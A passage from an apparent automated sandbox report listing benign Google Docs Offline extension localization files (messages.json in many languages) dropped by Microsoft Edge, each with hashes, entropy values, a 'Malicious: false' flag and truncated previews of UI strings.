Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
